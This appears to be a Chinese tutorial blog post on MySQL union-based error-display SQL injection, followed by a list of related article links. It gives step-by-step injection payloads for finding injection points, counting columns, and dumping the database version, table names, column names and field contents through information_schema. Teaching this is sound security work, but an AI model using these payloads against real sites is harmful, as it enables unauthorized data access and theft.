sql注入 --显错注入
前提知识
数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合
数据库结构:
库:就是一堆表组成的数据集合
表:类似 Excel,由行和列组成的二维表
字段:表中的列称为字段
记录:表中的行称为记录
单元格:行和列相交的地方称为单元格
在数据库里有一个系统库:information_schema
在它里面有个存着所有库名的表:schemata schema_name 库名
在它里面有个存着所有表名的表:tables
表名 table_schema 表属于库 table_name 表名
在它里面还有个存着所有字段名的表:columns
table_schema 表属于库 table_name 表名 column_name 字段名
数据库结构中常用:table_schema库名 table_name表名 column_name字段名优先记忆
数据库中简单查询语句
select * from 表:从表里查询所有内容
where :有条件的从表中选取数据
and或or :条件有点多时候从表中选取数据
order by :根据指定的结果集/指定的列进行排序
limit 0,1 :从第一行起显示一条记录
union select :将多个表拼在一起
sql注入
攻击者通过构造不同的SQL语句来实现对数据库的操作。
任何与数据库产生交互的地方都可能存在sql注入
sql显错注入-联合查询(Mysql数据库)的基本流程及常用语句

sql手注的一般流程
一、判断注入点
如为整数型注入
id=1' 后面加上'单引号,页面出错
id=1 and 1=1
id=1 and 1=2 时页面不同判断存在注入
二、判断字段数
常用order by 判断字段数
order by :ORDER BY 语句用于根据指定的列对结果集进行排序。
如:
id=1 order by 3 页面正常
id=1 order by 4 页面错误
则字段数为3
三、判断回显点
使用联合查询
id =1 and 1=2 union select 1,2,3 前面为假是会查询后面的语句,从而可获得回显点
四、查询相关内容
查询数据库版本
and 1=2 union select 1,version(),3
查询数据库库名
and 1=2 union select 1,database(),3
猜询表名
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='库名'
查询字段名
and 1=2 union select 1,group_concat(column_name),3from information_schema.columns where table_schema=database() and table_name='表名'
查询字段内容
and 1=2 union select 1,字段名 from 表名,3
若为单引号或双引号注入
考虑拼接为正常字符串进行逃逸
如;
id=1' union select 1,字段名 from 表名,3 -- +
后方为--+或-- a 或# 在很多数据库中杠杠加为注释符,在mysql中#为注释符,推荐常用--+
sql注入 --显错注入的更多相关文章
- [靶场实战]:SQL注入-显错注入
SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...
- ref:学习笔记 UpdateXml() MYSQL显错注入
ref:https://www.cnblogs.com/MiWhite/p/6228491.html 学习笔记 UpdateXml() MYSQL显错注入 在学习之前,需要先了解 UpdateXml( ...
- MSSQL注入:显错注入及反弹注入
前言: MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖独特的攻击思路. MSSQL的显错注入操作: 以联合查询为例: 猜 ...
- 豹子安全-注入工具-显错注入-asp_POST_显错_SQLServer_GetWebShell
豹子安全-注入工具-显错注入-SQL Server-上传WebShell 请看下列视频 . 该视频在停留10秒钟后开始. 或点击此处查看:豹子安全-注入工具-asp_POST_显错_SQLServer ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- 十种MYSQL显错注入原理讲解(一)
开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...
- MSSQL显错注入爆数字型数据的一点思考
Title:MSSQL显错注入爆数字型数据的一点思考 --2011-02-22 15:23 MSSQL+ASP 最近在弄个站点,密码是纯数字的,convert(int,())转换出来不报错,也不知道其 ...
- 别人的渗透测试(三)--SQL显错注入
续上一章. 安全狗拦下7成的人,过狗是门学问,偷笑.jpg.很感谢和https://home.cnblogs.com/u/xishaonian/ 博主能一起研究过狗. 说多了,言归正传SQL注入大显错 ...
- SQL注入——报错注入
0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...
随机推荐
- sourcetree关于注册的问题
当前只有Win的版本,Mac自行百度(笑) 很多人用git命令行不熟练,那么可以尝试使用sourcetree进行操作. 然鹅~~sourcetree又一个比较严肃的问题就是,很多人不会跳过注册或者操作 ...
- 【译】GitHub 为什么挂?官方的可行性报告为你解答
本文翻译自 GitHub 官方博客<Introducing the GitHub Availability Report> 原文链接:https://github.blog/2020-07 ...
- antd-vue的select组件实现既可以输入添加,又可以下拉选择
最近,项目中碰到需求,要求任务类型可以从下拉框(后台返回的数据)中选择,也可以手动输入添加新项,项目用的是antd-vue,所以最接近的组件就是a-select组件了,废话不多说,改造方法如下: HT ...
- java进阶(8)--匿名类
一.概念 1.内部类:类的内部定义了一个类 2.内部类分类:静态内部类.实例内部类.局部内部类 3.缺点:内部类的可读性比较差,尽量不用 2.匿名内部类:局部内部类的一种 二.匿名内部类的缺点 1 ...
- SpringBoot集成Swagger2,3分钟轻松入手!
一.引入maven <dependency> <groupId>io.springfox</groupId> <artifactId>springfox ...
- DVWA之文件包含(一)
文件包含又可以是本地文件包含或远程文件包含. 本地文件包含:文件存在本地目录 远程文件包含:文件共享或存在网络上,需要访问 <?php // The page we wish to displa ...
- Java面试题(容器篇)
容器 18.java 容器都有哪些? 如图: 首先分为Collection.Map: Collection下分为List.Set和Queue: List下分为ArrayList和LinkedLis ...
- “路由大当家”OSPF的小秘密
引入 OPSF是应用最广的路由协议,基本上,所有的IGP用到的都是OSPF,下面我们看看它的“小秘密” 优点: •没有跳数限制 •使用组播更新变化的路由和网络信息 •路由收敛速度较快 •以开销(Cos ...
- WPF新手快速入门系列 3.MVVM
[概要] 这一章主要讲述,讲述MVVM模式和用法. 如有学习过程中想交流学习.疑惑解答可以来此QQ群交流:580749909.(所有涉及到的源码都上传到了群文件里) 希望加群的人提问时尽量想清楚自己的 ...
- python习题 随机密码生成 + 连续质数计算
随机密码生成 描述 补充编程模板中代码,完成如下功能: ...